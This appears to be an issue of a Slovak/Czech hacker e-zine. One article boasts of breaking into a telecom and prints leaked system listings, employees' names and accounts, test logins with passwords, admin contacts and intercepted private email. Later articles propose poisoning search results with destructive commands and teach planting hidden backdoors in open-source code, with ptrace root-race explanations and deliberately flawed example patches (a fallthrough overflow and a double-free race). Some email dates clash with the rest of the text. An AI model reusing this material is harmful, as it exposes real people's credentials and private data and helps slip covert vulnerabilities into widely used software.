  nobody 26241   300  0   May 06 ?        0:06 /www/bin/httpd -DSSL
  oracle   241     1  0   Apr 15 ?        0:00 ora_pmon_cat
  oracle   222     1  0   Apr 15 ?        0:02 /opt/oracle/app/oracle/product/8.0.5./bin/tnslsnr LISTENER -inherit
  oracle   243     1  0   Apr 15 ?        0:00 ora_dbw0_cat
  oracle   245     1  0   Apr 15 ?        0:00 ora_lgwr_cat
  oracle   247     1  0   Apr 15 ?        4:56 ora_ckpt_cat
  oracle   249     1  0   Apr 15 ?        0:04 ora_smon_cat
  oracle   251     1  0   Apr 15 ?        0:00 ora_reco_cat
    root   278     1  0   Apr 15 ?        0:00 /usr/lib/utmpd
 mailman 13503   177  0 21:59:00 ?        0:00 sh -c /usr/local/bin/python -S /export/home/mailman/cron/qrunner
    root 13522 13334  0 22:00:24 ?        0:00 ps -aAf
    root   330   320  0   Apr 15 ?        0:00 /usr/lib/saf/ttymon
    root   300     1  0   Apr 15 ?        0:01 /www/bin/httpd -DSSL
    root 10751 13771  0 19:00:15 ?        0:00 /opt/rav/bin/ravmd
  nobody 26132   300  0   May 06 ?        0:06 /www/bin/httpd -DSSL
    root 13480  8494  0 21:57:36 ?        0:00 /usr/lib/sendmail -bd -q15m
 mailman 13504 13503 95 21:59:00 ?        1:21 /usr/local/bin/python -S /export/home/mailman/cron/qrunner
  nobody 26129   300  0   May 06 ?        0:07 /www/bin/httpd -DSSL
  nobody 28605   300  0   May 06 ?        0:07 /www/bin/httpd -DSSL
   ravms  8619     1  0   Apr 16 ?        8:21 /opt/rav/bin/RAVMilter -d
    root 13771 13770  0   Apr 16 ?        1:51 /opt/rav/bin/ravmd
  nobody 29308   300  0   May 06 ?        0:07 /www/bin/httpd -DSSL
    root 13770     1  0   Apr 16 ?        0:00 /opt/rav/bin/ravmd
    root 13509  8494  0 21:59:41 ?        0:00 /usr/lib/sendmail -bd -q15m
  nobody 26133   300  0   May 06 ?        0:06 /www/bin/httpd -DSSL
este nejaky ten ls 🙂
drwxr-xr-x  14 root     root         512 Apr 30 13:01 .
drwxr-xr-x   4 root     root         512 Mar 14  2002 ..
drwxr-xr-x   2 ciscops  other        512 May 11 22:11 ciscops
drwxr-xr-x   3 rkaloc   other        512 Jan 17 15:00 kaloc
drwxr-xr-x   4 katuska  other        512 Feb 24 14:41 katuska
drwxr-xr-x 414 kocur    other      20480 May  9 11:43 kocur
drwxr-xr-x   2 loboivan other        512 Mar  3 09:49 loboivan
drwx------   2 root     root        8192 Mar 12  2002 lost+found
lrwxrwxrwx   1 root     other         12 Jun  6  2002 mailman -> /opt/mailman
drwxr-xr-x  20 maruniak other       1536 May  9 10:29 maruniak
drwxr-xr-x   3 moravcik other        512 Mar  1 12:19 moravcik
drwxr-xr-x   2 oracle   dba         1024 May 10 23:50 oracle
drwxr-xr-x   3 oracle   dba          512 Mar 14  2002 oramount01
drwxr-xr-x   2 root     other        512 Nov 19 12:00 telecom
drwxr-xr-x   4 102      other        512 Nov 21 08:37 zarnovic
logserver je zaujimavy stroj z viacerych dovodov, nehladiac na to, ze sa tam ukladaju logy z kazdeho cisca na sieti, sme prave tu nasli vela roznych backupov, takym prikladom je jeden oracle dump:
root@smrad:/# du -hs telz.dmp.gz
127M    telz.dmp.gz
root@smrad:/#
s tymto je hned spojena aj nova sluzba hysterky, najdete ju na http://hysteria.sk/zoznamst dalsi velmi podstatny ulovok je backup z jedneho pravdepodobne “maleho bezvyznamneho” serveru
root@smrad:/# wc -l shadow
  82091 shadow
root@smrad:/#
82091 uzivatelov, to je v celku dost na to aby to boli vsetci zakaznici teleko ropuchy na Slovensku. A asi to tak bude (po par experimentoch s niektorymi kontami sa dobrodruhovia o tom presvedcili). Zaujimalo by ma ci na toto telecom zareaguje a zacne menit vsetkym zakaznikom hesla :). dalej uz len tak chaoticky napriklad telefonne cisla adminov (predpokladam :))

	kocurmobil: [email protected]
	kalocmobil: [email protected]
	webmaster: gajdos,blazicek,marketing,[email protected],[email protected]
	gdsmaster: kovesi,levicky
	gdsprofimaster: gajdos,blazicek
	mailmaster: kocur,katuska,maruniak
	news-admin: [email protected]
	newsmaster: [email protected]
	hostmaster: katuska,maruniak
	hostm-stonline: domeny,hotline,hornik,mbalog,janaslov,kracunov
	postmaster: kocur,hornik
	#alarm: puskajr
	#cisco-bgp:[email protected],[email protected],[email protected],[email protected],smolen
	stip: stip-l
	webhousing: stip-l
	vpdn: stip-l
	infovek: [email protected],[email protected],[email protected],[email protected];[email protected]
	mate: [email protected]
	klaudia: [email protected]
	moravcik: moravcik,[email protected]
	mail_add: "|/export/www/veci/telemail/mail_add.php3"
	hornikova: hornik
	jana.hornikova: hornik
	balog: mbalog
	sossms: [email protected]
	test-l:         [email protected]
	test-l-admin:   [email protected]
	test-l-request: [email protected]
	test-l-owner:   [email protected]
	cisco-l:         [email protected]
	cisco-l-admin:   [email protected]
	cisco-l-request: [email protected]
	cisco-l-owner:   [email protected]
	stadmin-l:         [email protected]
	stadmin-l-admin:   [email protected]
	stadmin-l-request: [email protected]
	stadmin-l-owner:   [email protected]
	net-l:         [email protected]
	net-l-admin:   [email protected]
	net-l-request: [email protected]
	net-l-owner:   [email protected]
	untech-l:         [email protected]
	untech-l-admin:   [email protected]
	untech-l-request: [email protected]
	untech-l-owner:   [email protected]
	techgroup-l:         [email protected]
	techgroup-l-admin:   [email protected]
	techgroup-l-request: [email protected]
	techgroup-l-owner:   [email protected]
	stip-l:         [email protected]
	stip-l-admin:   [email protected]
	stip-l-request: [email protected]
	stip-l-owner:   [email protected]

ak chcete zavolat adminom telecomu nech sa paci 🙂 dalsim takym zaujimavim fajlom je /etc/passwd (aj /etc/shadow ale ten si nechame radsej pre seba ;))

	mihalek:x:1554:101:Mihalek Peter Ing.:/export/home/telecom/mihalek:/etc/dial-sh
	babcanova:x:1555:101:Babcanova Jozefina Ing.:/export/home/telecom/babcanova:/etc/dial-sh
	guran:x:1556:101:Guran Dezider Ing.:/export/home/telecom/guran:/etc/dial-sh
	tibor.o:x:1566:101:Tibor Olejka:/export/home/telecom/tibor.o:/etc/dial-sh
	smolen:x:1567:10:Magda Smolenova:/export/home/telecom/smolen:/bin/tcsh
	ke:x:1568:101:Zosilovacka Kosice:/export/home/telecom/ke:/etc/dial-sh
	tn:x:1569:101:Zosilovacka Trencin:/export/home/telecom/tn:/etc/dial-sh
	po:x:1576:101:Zosilovacka Presov:/export/home/telecom/po:/etc/dial-sh
	za:x:1575:101:Zosilovacka Zilina:/export/home/telecom/za:/etc/dial-sh
	po:x:1576:101:Zosilovacka Presov:/export/home/telecom/po:/etc/dial-sh
	christen:x:1579:101:RNDr. Christenko Sergej:/export/home/telecom/christen:/etc/dial-sh
	kovacic:x:1580:101:Mgr. Kovacic, ved. odboru:/export/home/telecom/kovacic:/etc/dial-sh
	gotzman:x:1581:101:Ing. Gotzman Jozef, ved. odboru:/export/home/telecom/gotzman:/etc/dial-sh
	ambros:x:1584:101:Ing. Ambros Otomar, ved. odboru:/export/home/telecom/ambros:/etc/dial-sh
	takac:x:1585:101:Ing. Takac Frantisek, ved. projektu:/export/home/telecom/takac:/etc/dial-sh
	stancel:x:1586:101:Mgr. Stancel, Poradca g. r.:/export/home/telecom/stancel:/etc/dial-sh
	simasek:x:1589:101:Ing. Simasek Lubomir, specialista:/export/home/telecom/simasek:/etc/dial-sh
	himalaje:x:1626:101:Dezider Guran Ing., veduci odboru TIS:/export/home/telecom/himalaje:/etc/dial-sh
	jurkov:x:1628:101:Jurkovic Marian Ing., CMSS Intranet, Extranet   :/export/home/telecom/jurkov:/etc/dial-sh
	frantise:x:1629:101:Dudik Frantisek Ing., Riaditel sekcie prevadzky, Ustredie:/export/home/telecom/frantise:/etc/dial-sh
	kurz13:x:1631:101:Skoliace stredisko Lamac,Ba:/export/home/telecom/kurz13:/etc/dial-sh
	kurz4:x:1632:101:Skoliace stredisko Lamac,Ba:/export/home/telecom/kurz4:/etc/dial-sh

/etc/dial-sh ktory ma vacsina userov ako shell vzyera takto:

	#!/bin/sh
	echo
	echo "Zmena uzivatelskeho hesla"
	echo "-------------------------"
	/bin/passwd
	exit

teta magda bude asi nejaky unix guru kedze ma ako shell nastaveny tcsh :))

Ocenitelne bolo ze sme si mohli sem tam pozriet do posty ludi pracujucich v ropuche, niektore maily boli naozaj velmi zabavne, takze nasleduje dalsia rubrika

Napisali nam

	From: [email protected] (JKatuska)
	Date: Wed, 8 Jan 2023 09:22:33 +0100
	Subject: nove test konta
	Analog:
	Login:    ochranuj
	Passwd:    prirodu
	ISDN:
	Login:    trpezlivo
	Passwd:    cakaj
	|Jano|

testovacie konta sa mozu vzdy hodit (skoda ze sa menia priblizne kazdy mesiac) no vlastne ono to ani taka skoda nie je kedze si ich kazdy mesiac pekne poslu mailom 🙂

Preco si vyletnikov v sieti telecomu nikto nevsima ? (verim ze nasi vyletnici neboli prvi ani posledni kto objavoval telecom ako kolumbus ameriku). Mozno je to adminmi, ale z nasledujuceho mailu skor vypliva ze je to niecim inym, teda k tomu kto sa stara o tuto “najvacsiu, najmodernejsiu, najrobustnejsiu,..blabla” siet, pravdepodobne prispieva to aky je pristup tych co sa staraju o to aby sa tocili financie. Oni sa asi aj tocia (urcite) ale z tohoto je dost jasne ze sa tocia smermy roznymi ale urcite nie tymi ktorymi by to bolo najvhodnejsie.

tu je jeden mail ktory vela vysvetluje, preco to v tejto spolocnosti vlastne je, tak ako to je:

	From: [email protected] (Peter Maruniak)
	Date: Wed, 08 Jan 2023 13:52:34 +0100
	Subject: vypoved
	In-Reply-To: <[email protected]>
	> dobry den
	> vzladom k skutocnostiam vyvoja nasej spolocnosti,
	> medziludskych vztahov a k
	> nedostatocnemu financnemu ohodnoteniu mojej osoby som sa rozhodol dat
	> vypoved z tejto spolocnosti. dovodov je podstatne viac ale k
	> definitivnemu
	> rozhodnutiu ma prinutilo az vzhliadnutie novembrovej vyplaty
	> v decembri.
	> dalej by som rad spomenul ludi, ktori neustale zasahuju do
	> mojej prace a do
	> prace celeho timu internetistov,  a za svoje rozhodnutia
	> nenesu ziadnu
	> zodpovednost /dufam, ze sa v tomto maily spoznaju..../ a vedu tuto
	> spolocnost nevedno kam. v spolocnosti sa vynakladaju obrovske
	> prostriedky
	> na reklamne kampane, na nezmyselne projekty urcitych
	> lobistickych skupin, a
	> nezmyselne akcie ludskych zdrojov. tato spolocnost si nevie
	> udrzat mladych
	> perspektivnych zamestnancov, nevie ohodnotit ich pracu a dat
	> im perspektivu
	> do buducnosti. ak si niekto v tejto spolocnosti predstavuje
	> buducnost ako
	> marketingovu spolocnost bez prevadzky a ludi ktory
	> zabezpecuju fungovanie
	> tejto spolocnosti /vid. nazory na outsourcing/ tak je
	> optimista, ktoreho z
	> jeho sna preberie az skutocna realita. doteraz ma v tejto spolocnosti
	> drzali len cast internetoveho timu a cely tim odboru OPUS na cele s
	> ing.Caneckym, ktorym sa tymto sposobom chcem ospravedlnit za
	> moj odchod a
	> podakovat im za spolupracu.
	>
	> s pozdravom
	>
	> michal kaprinay
	S tymito nazormi musim len suhlasit, sam by som to lepsie nenapisal.
	Peter Maruniak

ak si niekto mysli, ze je drze bezohladne a neviem ake zverejnovat maily niektorych ludi tak argumentujeme tym ze je este viac drze a bezohladne brat od zakaznikov take peniaze ako ropucha berie a absolutne ignorovat stabilitu/bezpecnost/kvalitu sluzieb a vsetko vrazat len to absolutne stupidnych a primitivnych reklamnych plagatov/spotov a lobistickych skupin ? O tych bohuzial nasi smrtelnici vela nevedia takze sa k nim vyjadrit nemozu.

Spat do “reality”

v teleko ropuche pracuju evidentne aj zdatni coderi, ktory tvrdo odvadzaju svoju pracu, ako mzome vidiet z casti kodu jedneho zo zamestnancov, vzorovy priklad velmi zlozitej implementacie este zlozitejsieho algoritmu sme mohli najst… to sim to bol homedir uja kocura (ale to si uz nikto nepamata)

	testc.c:
		main()
		{
		  printf("Hello world.n");
		}

muselo to dat vela namahy nieco take nacodit.

na logserver.telecom.sk sme nasli aj taketo veci vystup ls:

	-rwxrwxrwx    1 root     root           54 Mar 15  2002 sel
	-rwxrwxrwx    1 root     root        18382 Mar 15  2002 serv.php3
	-rwxrwxrwx    1 root     root        18497 Mar 15  2002 serv.php3~
	-rwxrwxrwx    1 root     root        11315 Mar 15  2002 serv.php3~~
	-rwxrwxrwx    1 root     root         1364 Mar 15  2002 servis.html
	-rwxrwxrwx    1 root     root         1322 Mar 15  2002 servis.html~
	-rwxrwxrwx    1 root     root        15614 Mar 15  2002 sprs.php3
	-rwxrwxrwx    1 root     root        15605 Mar 15  2002 sprs.php3~
	-rwxrwxrwx    1 root     root         8186 Mar 15  2002 sprszal.php3
	-rwxrwxrwx    1 root     root          111 Mar 15  2002 stri.php3
	-rwxrwxrwx    1 root     root          106 Mar 15  2002 stri.php3~
	-rwxrwxrwx    1 root     root          384 Mar 15  2002 u.php3
	-rwxrwxrwx    1 root     root          382 Mar 15  2002 u.php3~
	-rwxrwxrwx    1 root     root         2262 Mar 15  2002 upnas.php3

world writeble php skripty… to hovori same za seba.

Je uplne jasne ze ludia v telecome sa riadia svojimi reklamnymi sloganmi, ako napriklad “Dostante sa rychlo vsade tam, kam potrebujete” – u telecomu to plati dvojnasobne. Len dostavat sa vsade tam kam potrebujete u niekoho kto prevadzkuje napriklad linky VUBcky. A este by radi prevadzkovali govnet ? HA – HA – HA. Uz vidim ako sa osobne udaje kazdeho cloveka na slovensku lezia kade tade na diskoch najroznejsich ludoch z celeho sveta.

Zaver

co dodat na zaver ? neviem ci treba este nieco dodavat, ten zaver je tu skor len aby bol 🙂 Pravdepodobne sa v tejto organizacii tak skoro nic nezmeni a stale to bude tak ako je a vsade sa budu pouzivat uzivatelia typu jozko a k tomu hesla jozko123. Ale cele to predsa nie je len o heslach. Je velmi smutne ze firma ktora sa chce tvarit profesionalne (aj ked z tej primitivnej reklamy vela profesionalnosti nepozera, ale traba brat ohlad aj na to na akom sme trhu… slovensky obcan ma reklamu taku aku je schopny vo vacsine stravit, ale spat k tomu smutku 🙂 este raz hovorim ze je smutne ze si niekto rok nevsimne ze ma niekto uplny pristup do jeho velkej siete. A vyletnici robili uz taky bordel okolo seba ze by si to vsimol aj hluchy a slepy admin. Robia v tom telecome vobec nejaki admini ? Alebo proste o tom vedeli a nechali to tak aby niekomu nieco dokazali ? Mozno pride od niekoho vysvetlenie ale skor nie. Obraz si urobi kazdy sam.

a na uplny zaver mala bajka:

bajka o ropuche a volovi. bola raz jedna ropucha a jeden vol. ropucha chcela byt taka velka ako ten vol, tak sa nafukla az praskla

tr1uh0rky, tr1uh0rky(at)hysteria.sk

navrat na obsah
co ty na to ? board




Project chaos

aj vas fascinuju zaporaci vo filmoch, ktori maju vzdy genialny napad ako nastolit na nasej peknej modro-zelenej (coskoro cierno-sedej) planete totalny chaos? na realizaciu ich planov treba obycajne dobre zazemie (minimalne nejaky opusteny ranc), kontakty smerom na tranzsibirsku magistralu a hodne prachov. mna napadli dva sposoby, ktore su mozno utopiou – tak ako v spominanych filmoch [a mozno aj nie :-)], ale co ak predsa..

g@@gle nas kamarat

pekne sa priznajte, co spravite ked narazite na problem ktory uz neviete ako riesit [mozno uz aj po par bezsennych nociach]. ked si odmyslim, ze najprv vo vas prevladne duch lamera a spytate sa kamarata [zopar takych teepkov, co vysia na irc a rozdavaju svoje advanced vedomosti bars komu poznam] tak dalsi logicky krok je navstivit oblubeny vyhladavac [google, ze? :)]. no vy tam natukate pekne co hladate, google vam vypluje pekne zoradene odpovede, kde zvycajne je to co hladate medzi prvymi linkami [predpokladam, ze viete v pohode formulovat dotaz]. pekne nam to funguje, co? niekedy mam taky pocit, ze keby sa predaval divajs, ktory by bol velkosti naramkovych hodiniek a mal by v sebe celu databazu google, aj s nacacheovanymi strankami, tak by nam bolo hej 🙂 [kazdopadne mam z dobreho zdroja, ze google nieco take predava ako box do intranetu firmy [len to asi nieje velke ako naramkove hodinky:-))]]. no dobre, podme ale k veci. o tom pomocou akych pravidiel si vyhladavace ukladaju a hodnotia jednotlive stranky v databazach sa rozpisovat nebudem, ale predstavte si, ze dokazate stranku na vlastnom servri prepracovat na prve miesto googlovskej odpovede na nejaky dotaz [najlepsie konkretny :-)] po lopate – natukam do google “linux repair filesystem” a na prvom mieste bude stranka, ktora bude suverenne tvrdit nieco na sposob “At first, you have to run mkfs [/DEV/DEVICE], then…”. No pre tych, co si myslia ze by to nezabralo mozu kludne rozpisat prikaz mkfs ako “Make checK File System”, fantazii sa medze nekladu 🙂 Ono sranda je jedna vec, ale co takto troska prachov? Ked dokazete dostat stranky niekoho firmy opat na prve miesto odpovedi pri hladani danej sluzby, nemusi to byt vobec na skodu 😉

“developeri”

ludia by sa castokrat cudovali, kto im vyvyja casti ich open source kodu. ci uz su to teepci na intrakoch, bradati oldsk00leri, alebo nejaki dalsi nahodni debian intelektuali zo zimbabwe, mavaju jedno spolocne. ich geek faktor je dostatocne vysoky na to, ze su tak zamerani na samotny vyvoj, ze castokrat zabudaju na to v akom stave maju svoje workstejsny. co tam po nich – myslia si, veriac, ze linuxove jadro 2.0.20 s ipfwadm vsetko vyriesi. len problem je v tom, ked zabudnu na to, ze kedysi nechali pustene ftp koli tomu aby im tam niekto uploadol nejaky fasa patch na recode alebo ine zverstvo. jednoducho dostat sa takymto developerom na masinu by nemusel byt az taky problem. nasleduje troska zlozitejsia cast – zanalyzovat styl akym je pisana aplikacia ktoru vyvyjaju, a vlozit do nej nenapadne vyzerajucu cast vlastneho evil kodu a tvarit sa ze sa nic nedeje. toto je taka dost zlozita cesta, ale mohla by zafungovat, kazdopadne skor, ci neskor na to niekto pride. v praxi sme mohli vidiet veci, ako patchnuty BitchX irc klient, alebo dokonca open-ssh a podobne. jednalo sa o jednoduchych trojanov, ktorych autori sa nespoliehali na to ze to tam dlho vydrzi a preto nechali trojana aktivovat uz pri instalacii – a preto bol ten trojan tak rychlo objaveny. pokial si ale myslite ze ste dost evil, tak skuste sa zamontovat do diskusii na roznych konferach, newsoch, irci a ked mate dobry plan, mozte ich skusit presvedcit o tom, ze nejaku cast kodu, alebo principialne fungovanie aplikacie robia zlym sposobom. no a mozno sa vam podari ich presvedcit na nejaky obdobne dobry system, ktory ale bude mat len vam znamu nenapadnu chybicku navrhu. tu si treba uvedomit, ze rozdiely medzi bugmi a featurami su castokrat velmi malicke 😉 v praxi sme mohli vidiet zle navrhnute protokoly uz dost casto, netvrdim, ze umyselne, ale to sa uz nikto nedozvie ;-))

ip_v6

ked sme uz pri tych featurach neda mi nespomenut v6. je to pekny protokol, ktory je ale na moj vkus az moc flexibilny. no ale ako to uz tak chodi, cim flexibilnejsi sa snazime byt, tym viac chyb sa narobi.. neskusal som zatial stacky OS na durabilitu voci roznym utokom, ale mozte si byt isti, ze pokial pri ipv4 existovali zle implementovane niektore zlozitejsie veci (fragmentacia, broadcast a podobne) tak u ipv6 to bude este zaujimavejsie. pri tolkych featurach to bude pre implementatorov pohroma. ved ked tak pozeram na vyvoj, tak je castokrat problem vobec spravne pochopit a implementovat RFC a nie to este osetrit nepopisane stavy :)) pri studiu v6 som si vypisal zopar zaujimavych poznamok, pre tych ktori uz zabrdli do ipv6 mozno nic nove, pre ostatnych ostava pockat na clanok o ipv6, alebo navstivit g@@gle 😉

takze nech sa paci, pokial sa vam bude zdat ze niektora implementacia nema pre vas vhodne featury, staci joinnut development team a submitnut par patchov. ved kto dnes vlastne rozozna featuru od bugu? 🙂

maniac, maniac(at)hysteria.sk

navrat na obsah
co ty na to ? board




co to vlastne je ten ‘opensource’

v dnesnim dile delani ruznych spatnosti se podivame na ten software zhusta uzivany cinskymi teroristy, nekdy tez zvany ‘opensource’.

opensource je hrozne fajn vec, umoznuje nam delat takrka vse s nulovymi naklady a kdyz se nam neco nelibi, zpravidla to nekdo opravi, kdyz budeme hodne kricet a spamovat zainteresovane maillisty dostatecne dlouho.

co je mene znamo je maly bug, nebo lepe receno featura OS vyplyvajici z toho co uz sem tu rek – totiz ze v pripade mnoha projektu ma kdokoli moznost prispet svym kouskem do celeho toho chaosu vyvijiciho se monstra. a v tom to, vazeni pani a damove, je. je to neco jako world-writable (+w) skript v /tmp kterej pousti root user…

inu, o co tedy jde.

rekneme ze tu existuje nejaky soft kterej pouziva pulka zemekoule, rekneme treba linux kernel. kdokoliv, komu se zamane, muze submitnout nejakou featuru a kdyz bude pro ni dostatecnej ohlas (neni problem si takovej ohlas, v podobe sebe-pochvalnych mailu do LKML, vytvorit :), velice pravdepodobne se objevi v dalsim releasu. sranda ovsem nastava v momente kdy umysly autora nebyly zase tak uplne cestne a implementoval do patche treba i maly, ale zpravidla komplikovany a na prvni pohled neviditelny, bug. takovy bug nemuze a ani nesmi byt neco trivialniho, jinak ho samozrejme zmerci maintaineri. takze zadne bufferoverfly, to je dneska pro deti. spis takove negativni reference do pole, logicke a race chyby (musi se sejit nekolik podminek v jednom casovem okamziku aby se dany bug projevil) – v takovem pripade je opravdu velice tezke chybu odhalit protoze clovek si musi projit vsechny moznosti jemiz algoritmus muze projit – samozrejme ze autor vi jak dane chyby zneuzit a take to udela, proc by ji jinak vytvarel 🙂

ze se toto nemuze stat ? ze project-maintaneri jsou opatrni a prohlizeji si vsechny submitnute patche radku po radce ? ale kus!

tak co treba takovy linux kernel a jeho (ne)chvalne proslaveny ptrace ? z poctu zpusobu jak ptracem dostat roota na kernelu 2.2.16 (existuji zde 3 ruzne fungujici ptrace bugy + exploity) mi vazne pripada ze zpusobu jak je ptrace v linuxu udelany byl nejaky skryty zamer, ma vsechny atributy vneseneho backdooru – je velmi dobre skryty a ve vsech pripadech se projevuje jen jako race condition, pokazde jineho charakteru ale vzdy vyplyvajici z chybne implementace.

jenom nutne seznameni v cem je problem u ptrace: kdokoliv na systemu lokalne muze “attachnout” bezici process jehoz je owner (i.e. uid “atakovaneho” procesu je stejne jako uid tracera, stejne tak pro gid a equivalenty euid, fsuid atd) v momente kdy mas attachnuty proces, muzes si snim delat co chces i kdyz se jeho uid zmenilo (tj. treba zapsat do nej shellcode ktery se spusti)

aby bylo jasno, tak na uvod mala historie ptrace bugu na linuxu:

ptrace #1 (found by cliph, ’98)

vychazel z velice primitivniho predpokladu jak fungoval execve() na linuxech < 2.2.19 pri davani prav procesu suid binarky. execve() checkoval (kdyz se spoustela suid binarka) jestli proces v kterem execuje neni trasovan nekym kym by trasovan byt nemel, a delal to hned na zacatku spousteciho procesu. _na konci_ a to je dulezite, teprv hodil procesu prava jestli se spustila suid binarka. takze pokud byl proces trasovan pred execve() vsecko v poradku, pokud nekdo skusil attach po execve() taky v poradku ponevadz uid se zmenilo. *ale* co kdyz nekdo attachnul uprostred execve() (nejlepe to jde zrovna ve chvili kdy disk nacita prvni stranku binarky, takze kernel “spi” v execve()). inu, check na ptrace byl negativni, ale nyni nam “attach” vysel, protoze execve() jeste nezmenil uid. takze jsme attachnuty k procesu, execve() se probudi a da procesu uid suid binarky (zpravidla root). no ale i tak mame proces stale pod kontrolou, takze tam jenom vlozime shellcode a jedem.

zpusob jakym se tato race case fixla taky neni uplne cisty: na konci, kdy se predavaji prava se proces lockne (takze nemuze byt attachnuty) zkontroluje se pritomnost ptrace flagu, pokud to nekdo pred tim attachnul prava se nepredaji. tato featura samozrejme vyustila v jiny bug, sice uz ne tak skodlivy, ale i tak (kdysi davno tim spousta lidi, vcetne me, cheatovala hackerslab :), totiz to ze kdokoliv muze “dump”-nout pres ptrace exec-only (a klidne i suid) binarku.

ptrace #2 (found by nergal, ’01)

je uz o neco slozitejsi, graficky by se to znazornilo takto:

rekneme ze mame 2 rovnopravne procesy, z pocatku neprivilegovane.

cas     prvni proces                                     druhy proces
0       ptrace(PTRACE_ATTACH, pid druheho procesu)
1       execve /usr/bin/newgrp
2       execve /usr/bin/passwd
3       execve /bin/sh (to udela newgrp)
4       execve ./insert_shellcode_to_process_2

takze co se deje. tento bug je velice elegantni a vyzaduje (jakoukoliv) setuid binarku ktera pobezi chvili jako root, ale pak spusti user shell. (to dela treba newgrp, su, screen …). v prvni chvili prvni proces attachne druhy proces, cimz se stava jeho parentem (tracer je vzdy parent tracovaneho). pak si tento proces na chvili “zabere” root prava tim ze spusti hocijakou suid binarku ktera pozdeji jenom hodi user shell. druhy proces ktery do teto chvile spal se probudi a jenom spusti jakoukoliv suid binarku. normalne by to neslo, protoze kernel by videl: aa, sem tracovanej a nekdo pousti suid binarku, tak to mu neprojde, *jenze* zde existovala vyjimka, a to predpoklad ze kdyz je parent uid == setuid binarky, je logicky vse v poradku (tj. aby slo hladce trasovat dropnuti prav a pak jejich znovunabyti pres execve), inu, takze execve projde, kernel spi v /usr/bin/passwd ktery hodil prompt na password. vzbudi se proces jedna (tj. newgrp) a spusti klasicky userovo shell. *jenze* tento shell je furt tracer, a ackoli jiz nema zadna prava, je furt parent a tracer prave beziciho uid 0 /usr/bin/passwd, takze se jen spusti binarka co zmeni code context /usr/bin/passwd shellcodem a je to.

ptrace #3 (found by cliph, ’03)

opet velice primitivni, asi nejjednodusi z rodiny ptrace bugu, ale rozhodne mu to neubira nic na ucinnosti. funkce tohoto bugu uz neni jen chybou v ptrace jako takovem, ale i ve stupidni implementaci kernel-threadu linuxu. v linuxu se totiz kernel thread vyrabi naprosto uchylnym zpusobem, a to tak ze se veme aktualni bezici proces a ten se fork()-ne a pak se vyslednemu procesu da uid 0 a dostane capability a pak se teprv pusti kernel thread funkce. co se stane mezi temito dvema operacemi, tj. mezi fork() a predani uid je jasne – ptrace attach a pockame si az proces dostane uid 0. protoze pak kernel-thread udela primo execve() (spousti /sbin/modprobe), takze dale uz bezi jako user process muzeme pouzit dalsi ptrace operace na vlozeni shellcode (ktery vytvori setuid root binarku / hodi rootshell na tcp port)

jak je vidno, charakter ptrace bugu je velice podezrely. uz jenom z faktu ze vsechny bugy nasli polaci 🙂 ne, mozne to sice je ze bugy v ptrace byly umyslne, ale buggy ptrace jako takovy je velice stary (uz od 1.x) kernelu a tenkrat se resili jeste buffer overflowy v kernelu. na druhou stranu je to krasny priklad jak se maji implementovat skryte backdoory do vetsich projektu.

jak backdoorovat

v podstate jsou praxi overene 2 postupy:

a) je jednodussi, takze s nim zacneme:

mejme takovyto soubor, ktery appendne do ‘buf’ o velikosti BUFSIZE. x/y/z podle toho co je ‘what’.

void    dummy(char *buf, char *x, char *y, char *z, char *a, int what)
{
        int     len = strlen(buf);
        switch(what) {
                case 0:
                        strncat(buf, x, BUFSIZE - len);
                        break;
                case 1:
                        strncat(buf, y, BUFSIZE - len);
                        break;
                case 2:
                        strncat(buf, z, BUFSIZE - len);
                        break;
        }
}

rekneme ze jsme implementovali novou featuru pro what == 3. patch, by vypadal zhruba asi takto:

--- old.c       Wed May 28 17:22:47 2003
+++ new.c       Wed May 28 17:23:25 2003
@@ -11,4 +11,6 @@
                case 2:
                        strncat(buf, z, BUFSIZE - len);
+               case 3:
+                       strncat(buf, a, BUFSIZE - len);
                        break;
        }

co se stane je asi jasne, pro what = 2 probehne i to co pro what = 3, se spatnou hodnotou pro strncat.

tento jednoduchy priklad vychazi z predpokladu ze lidi strncat povazuji automaticky za secure a vecina “auditu” techto patchu je grepovani pro sprintf/strcpy/strcat, nehlede na to ze drtiva vetsina maintaineru peclive prohlizi jen patche (takze rucne z nich vyripuj “orientacni” kod ktery se nepatchuje, ale ktery by mohl poodhalit kontext), vysledny kod je zajima jen kdyz patch(1) reportoval nejake nesrovnalosti.

b) a tady si zkusime jednu race condition, v davnych dobach sem tim chtel backdoornout jednu default suid binarku, ale muj patch nebyl dostatecne featureoidni, takze nebyl aplikovan, skoda.

v podstate slo o to implementovat timeout mechanismus, jak to zhruba fungovalo (pouze ilustracni priklady 🙂

struct context *ctx;
void    dummy()
{
        ctx->i = read_user_input();     /* return NULL if empty input */
        if (!ctx->i) {
                free(ctx)
                exit(0);
        }
}

a muj patch vypadal asi takto:

--- old.c       Wed May 28 17:37:18 2003
+++ new.c       Wed May 28 17:38:41 2003
@@ -1,7 +1,17 @@
+#define TIMEOUT 60
+
 struct context *ctx;
+void   timeout(int d)
+{
+       free(ctx);
+       exit(0);
+}
+
 void   dummy()
 {
+       signal(SIGALRM, timeout);
+       alarm(TIMEOUT);
        ctx->i = read_input();  /* return NULL if empty input */
        if (!ctx->i) {
                free(ctx)

na *prvni* pohled neco docela nezavadneho, v podstate pokud user nezadal vstupni data, program se ukonci.

ale jak uz sem rek, tento patch byl evil 🙂 otazka totiz je, co by se stalo kdyby ve chvili mezi free() a exit() prisel alarm =< zavola se timeout() jez by ucinil free() znova. double free() je relativne dobre zdokumentovana technika a neni predmetem tohoto textiku. exploit by potom vypadal asi tak ze by spoustel, v mnoha threadech, danou binarku, pomoci volani ruznych argumentu na prikazovem radku vyrobil pozadovany heap state, a pak jenom skousel nacasovat spravny null input. statisticky vyjadreno je uspech zarucen behem nekolika minut. pokud se tento mechanismus komplikovane do neceho zabuduje, je takrka nemozne ho objevit, ale to je jeden z mnoha 🙂 pouzij svoji fantazii, nejsi omezen znamymi bugy, vlastne bugy nezname jsou velmi vitane, protoze to nikomu jen tak nedojde 🙂

to je pro dnesek vsecko – mam nakou jarni unavu (hi zyx, pisu ti to uz asi 2 tejdny, vaz si toho 🙂

takze az si stahnete, rozbalite a nainstalujete novyho apache a druhej den vam nekdo zmeni web, nedifte se – je to prece open source ;))


sd, sd(at)hysteria.sk

navrat na obsah
co ty na to ? board




dastych reloaded

mile deti, dnes vam budem povidat pohadku ktera se mozna stala, mozna ne, kdo vi, odpoved vam muze dat leda tak jisty serzant XXX z okrsku YYY z policejni stanice umistene na krasnem miste se skvelou vyhlidkou na cele mesto (kde se da dobre piratit wifi, btw) jmenem ZZZ, a vice ci mene se tyka jen jednoho clovicka jmenem CLOVICEK.

